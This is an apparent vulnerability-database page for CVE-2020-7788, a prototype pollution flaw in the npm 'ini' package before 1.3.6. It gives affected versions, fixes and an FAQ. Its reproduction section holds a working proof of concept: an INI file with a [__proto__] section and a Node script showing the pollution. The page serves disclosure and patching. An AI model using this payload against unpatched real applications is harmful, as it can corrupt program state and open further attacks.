CWE
1321 400
Advisory Published
Advisory Published
CVE Published
Updated

CVE-2020-7788: Prototype Pollution

First published: Tue Dec 08 2020(Updated: )

### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

Credit: report@snyk.io report@snyk.io

Affected SoftwareAffected VersionHow to fix
npm/ini<1.3.6
1.3.6
redhat/nodejs-nodemon<0:2.0.19-1.el9_0
0:2.0.19-1.el9_0
redhat/rh-nodejs14-nodejs<0:14.15.4-2.el7
0:14.15.4-2.el7
redhat/rh-nodejs12-nodejs<0:12.20.1-1.el7
0:12.20.1-1.el7
redhat/rh-nodejs12-nodejs-nodemon<0:2.0.3-1.el7
0:2.0.3-1.el7
redhat/rh-nodejs10-nodejs<0:10.23.1-2.el7
0:10.23.1-2.el7
redhat/rh-nodejs14-nodejs-nodemon<0:2.0.3-5.el7
0:2.0.3-5.el7
redhat/rh-nodejs12-nodejs<0:12.22.5-1.el7
0:12.22.5-1.el7
redhat/rh-nodejs12-nodejs-nodemon<0:2.0.3-5.el7
0:2.0.3-5.el7
Ini Project Ini<1.3.6
Debian Debian Linux=9.0
redhat/nodejs-ini<1.3.6
1.3.6
IBM Cloud Pak for Security (CP4S)<=1.6.0.1
IBM Cloud Pak for Security (CP4S)<=1.6.0.0
IBM Cloud Pak for Security (CP4S)<=1.5.0.1
IBM Cloud Pak for Security (CP4S)<=1.5.0.0
IBM Cloud Pak for Security (CP4S)<=1.4.0.0

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is CVE-2020-7788?

    CVE-2020-7788 is a Prototype Pollution vulnerability in the `ini` npm package.

  • How severe is CVE-2020-7788?

    CVE-2020-7788 has a severity rating of 9.8 (critical).

  • Which software packages are affected by CVE-2020-7788?

    The `ini` npm package before version 1.3.6 is affected, as well as certain versions of `nodejs-ini`, `nodejs-nodemon`, `rh-nodejs14-nodejs`, `rh-nodejs12-nodejs`, `rh-nodejs12-nodejs-nodemon`, and `rh-nodejs10-nodejs`.

  • How can CVE-2020-7788 be fixed?

    To fix CVE-2020-7788, upgrade to version 1.3.6 of the `ini` package.

  • Where can I find more information about CVE-2020-7788?

    More information about CVE-2020-7788 can be found at the following references: [GitHub](https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1), [npm](https://www.npmjs.com/advisories/1589), [Snyk](https://snyk.io/vuln/SNYK-JS-INI-1048974).

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203